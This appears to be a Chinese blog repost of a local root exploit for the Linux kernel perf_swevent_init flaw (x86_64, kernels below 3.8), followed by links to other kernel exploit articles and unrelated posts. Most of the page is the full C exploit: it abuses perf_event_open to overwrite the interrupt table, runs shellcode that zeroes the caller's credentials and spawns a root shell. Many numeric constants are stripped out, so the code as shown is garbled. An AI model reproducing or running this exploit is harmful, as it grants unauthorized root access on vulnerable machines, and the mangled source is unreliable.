64位上编译

另外修改了原Exploit的一个错误

第76行
把     uint64_t *p = (void *) ¤t[i];
改成       uint64_t *p = (void *) &current[i];

*
* CVE-- exploit x86_64 Linux < 3.8.
* by sorbo (sorbo@darkircop.org) June
*
* Based on sd's exploit. Supports more targets.
*
*/ #define _GNU_SOURCE
#include <string.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <stdint.h>
#include <sys/syscall.h>
#include <sys/mman.h>
#include <linux/perf_event.h>
#include <signal.h>
#include <assert.h> #define BASE 0x380000000
#define BASE_JUMP 0x1780000000
#define SIZE 0x10000000
#define KSIZE 0x2000000 #define TMP(x) (0xdeadbeef + (x)) struct idt {
uint16_t limit;
uint64_t addr;
} __attribute__((packed)); static int _fd; static int perf_open(uint64_t off)
{
struct perf_event_attr attr;
int rc; // printf("perf open %lx [%d]\n", off, (int) off); memset(&attr, , sizeof(attr)); attr.type = PERF_TYPE_SOFTWARE;
attr.size = sizeof(attr);
attr.config = off;
attr.mmap = ;
attr.comm = ;
attr.exclude_kernel = ; rc = syscall(SYS_perf_event_open, &attr, , -, -, ); return rc;
} void __sc_start(void);
void __sc_next(void); void __sc(void)
{
asm("__sc_start:\n"
"call __sc_next\n"
"iretq\n"
"__sc_next:\n");
} void sc(void)
{
int i, j;
uint8_t *current = *(uint8_t **)(((uint64_t) &i) & (-));
uint64_t kbase = ((uint64_t)current) >> ;
int uid = TMP();
int gid = TMP(); for (i = ; i < ; i += ) {
uint64_t *p = (void *) &current[i];
uint32_t *cred = (uint32_t*) p[]; if ((p[] != p[]) || ((p[]>>) != kbase))
continue; for (j = ; j < ; j++) {
if (cred[j] == uid && cred[j + ] == gid) {
for (i = ; i < ; i++) {
cred[j + i] = ;
return;
}
}
}
}
} static void sc_replace(uint8_t *sc, uint32_t needle, uint32_t val)
{
void *p; p = memmem(sc, , &needle, sizeof(needle));
if (!p)
errx(, "can't find %x", needle); memcpy(p, &val, sizeof(val));
} static void *map_mem(uint64_t addr)
{
void *p; p = mmap((void*) addr, SIZE, PROT_READ | PROT_WRITE,
MAP_ANONYMOUS | MAP_PRIVATE | MAP_FIXED, -, ); if (p == MAP_FAILED)
err(, "mmap()"); return p;
} static int find_mem(void *mem, uint8_t c)
{
int i;
uint8_t *p = mem; for (i = ; i < SIZE; i++) {
if (p == c)
return i;
} return -;
} static void dropshell()
{
if (setuid() != )
errx(, "failed"); printf("Launching shell\n"); execl("/bin/sh", "sh", NULL);
exit();
} void morte(int x)
{
printf("Got signal\n");
close(_fd);
dropshell();
} static void trigger(int intr)
{
switch (intr) {
case :
do {
int z = ;
int a = ; z--; a /= z;
} while ();
break; case :
asm("int $4");
break; case 0x80:
asm("int $0x80");
break; default:
errx(, "unknown intr %d", intr);
} sleep();
} int main(int argc, char *argv[])
{
uint32_t *p[];
int fd, i;
uint64_t off;
uint64_t addr = BASE;
struct idt idt;
uint8_t *kbase;
int sz = ;
int intr = ; printf("Searchin...\n"); p[] = map_mem(BASE);
p[] = map_mem(BASE_JUMP); memset(p[], 0x69, SIZE); off = 0xFFFFFFFFL;
fd = perf_open(off);
close(fd); i = find_mem(p[], 0xff);
if (i == -) {
i = find_mem(p[], 0x68); if (i == -)
errx(, "Can't find overwrite"); sz = ;
addr = BASE_JUMP;
printf("detected CONFIG_JUMP_LABEL\n");
} munmap(p[], SIZE);
munmap(p[], SIZE); addr += i;
addr -= off * sz; printf("perf_swevent_enabled is at 0x%lx\n", addr); asm("sidt %0" : "=m" (idt)); printf("IDT at 0x%lx\n", idt.addr); off = addr - idt.addr;
off -= ; switch (off % sz) {
case :
intr = ;
break; case :
intr = 0x80;
break; case :
intr = ;
break; default:
errx(, "remainder %d", off % sz);
} printf("Using interrupt %d\n", intr); off -= * intr; assert((off % sz) == ); off /= sz;
off = -off; // printf("Offset %lx\n", off); kbase = (uint8_t*) (idt.addr & 0xFF000000); printf("Shellcode at %p\n", kbase); if (mmap(kbase, KSIZE, PROT_READ | PROT_WRITE | PROT_EXEC,
MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -, ) == MAP_FAILED)
err(, "mmap()"); memset(kbase, 0x90, KSIZE);
kbase += KSIZE - ; i = __sc_next - __sc_start;
memcpy(kbase, __sc_start, i);
kbase += i;
memcpy(kbase, sc, ); sc_replace(kbase, TMP(), getuid());
sc_replace(kbase, TMP(), getgid()); signal(SIGALRM, morte);
alarm(); printf("Triggering sploit\n");
_fd = perf_open(off); trigger(intr); exit();
}

Linux kernel perf_swevent_init Local root Exploit的更多相关文章

  1. [轉]Linux kernel <2.6.29 exit_notify() local root exploit分析(2009-1337)

    author : deep_pro目前网上的这个exploit(http://www.milw0rm.com/exploits/8369)的分析是有些问题的(http://forum.evilocta ...

  2. [轉]Exploit Linux Kernel Slub Overflow

    Exploit Linux Kernel Slub Overflow By wzt 一.前言 最近几年关于kernel exploit的研究比较热门,常见的内核提权漏洞大致可以分为几类: 空指针引用, ...

  3. karottc A Simple linux-virus Analysis、Linux Kernel <= 2.6.37 - Local Privilege Escalation、CVE-2010-4258、CVE-2010-3849、CVE-2010-3850

    catalog . 程序功能概述 . 感染文件 . 前置知识 . 获取ROOT权限: Linux Kernel <= - Local Privilege Escalation 1. 程序功能概述 ...

  4. Android linux kernel privilege escalation vulnerability and exploit (CVE-2014-4322)

    In this blog post we'll go over a Linux kernel privilege escalation vulnerability I discovered which ...

  5. [轉]Exploit The Linux Kernel NULL Pointer Dereference

    Exploit The Linux Kernel NULL Pointer Dereference Author: wztHome: http://hi.baidu.com/wzt85date: 20 ...

  6. CVE-2014-4014 Linux Kernel Local Privilege Escalation PoC

    /**  * CVE-2014-4014 Linux Kernel Local Privilege Escalation PoC  *  * Vitaly Nikolenko  * http://ha ...

  7. ANALYSIS AND EXPLOITATION OF A LINUX KERNEL VULNERABILITY (CVE-2016-0728)

    ANALYSIS AND EXPLOITATION OF A LINUX KERNEL VULNERABILITY (CVE-2016-0728) By Perception Point Resear ...

  8. archlinux 传统方法编译内核linux kernel 3.3.7

    From: http://hi.baidu.com/flashgive/item/eaef6326b5eb73d3a417b662 archlinux中传统方法编译内核 1)下载内核以及补丁并解压: ...

  9. the Linux Kernel: Traffic Control, Shaping and QoS

    −Table of Contents Journey to the Center of the Linux Kernel: Traffic Control, Shaping and QoS 1 Int ...

随机推荐

  1. Http 协议Header

    Responses 部分 Header 解释 示例 Accept-Ranges 表明服务器是否支持指定范围请求及哪种类型的分段请求 Accept-Ranges: bytes Age 从原始服务器到代理 ...

  2. C++ STL算法系列4---unique , unique_copy函数

     一.unique函数 类属性算法unique的作用是从输入序列中“删除”所有相邻的重复元素. 该算法删除相邻的重复元素,然后重新排列输入范围内的元素,并且返回一个迭代器(容器的长度没变,只是元素顺序 ...

  3. 查看TOMCAT的版本

    [root@Apps bin]# sh version.sh Using CATALINA_BASE: /apps/api-tomcat Using CATALINA_HOME: /apps/api- ...

  4. 配置无线网络的时候会提示“Enter Password for Default Keyring to Unlock”

    密钥管理软件Seahorse有关,这个时候我们打开c配置一下就可以解决. 命令行下运行seahorse或依次点击菜单“应用程序→附件→密码和加密密钥”, 在login一行中右键选择更改密码,然后什么都 ...

  5. javascript普通链表及双向链表

    写代码的真是心细啊,每一步操作的先后顺序都在卡准. 我其实只是理解了思想和大概的操作. 真正要用时,可能还是要复制,粘贴...:) function LinkedList(){ var Node = ...

  6. Java Hour 50 日期类型

    Plan List: 1 Java 中的日期类型 2 mysql 相关 3 java code style 鉴于本问题太过普通,所以参考文章满大街都是,因此本文内容基本为转载和验证. java.sql ...

  7. hdu 4280 最大流sap

    模板套起来 1 5 7 //5个结点,7个边 3 3 //坐标 3 0 3 1 0 0 4 5 1 3 3 //相连的结点和流 2 3 4 2 4 3 1 5 6 4 5 3 1 4 4 3 4 2 ...

  8. C++primer学习笔记(一)——Chapter 3

    3.1 Namespace using Declarations 1.因为C++里有名字空间的定义,例如我们使用cin的时候必须写成std::cin,如果就用一次还是可以接受的,但是如果一直都这样,那 ...

  9. 第五根k线

    无论是下落还是上涨的一波,到第五根k线就要注意了.要么加速,不然就要翻转了

  10. vs 数据库链接Web.config 配置

    1.使用Windows身份验证 <add name="SQLConnectionString" connectionString="Data Source=U5MJ ...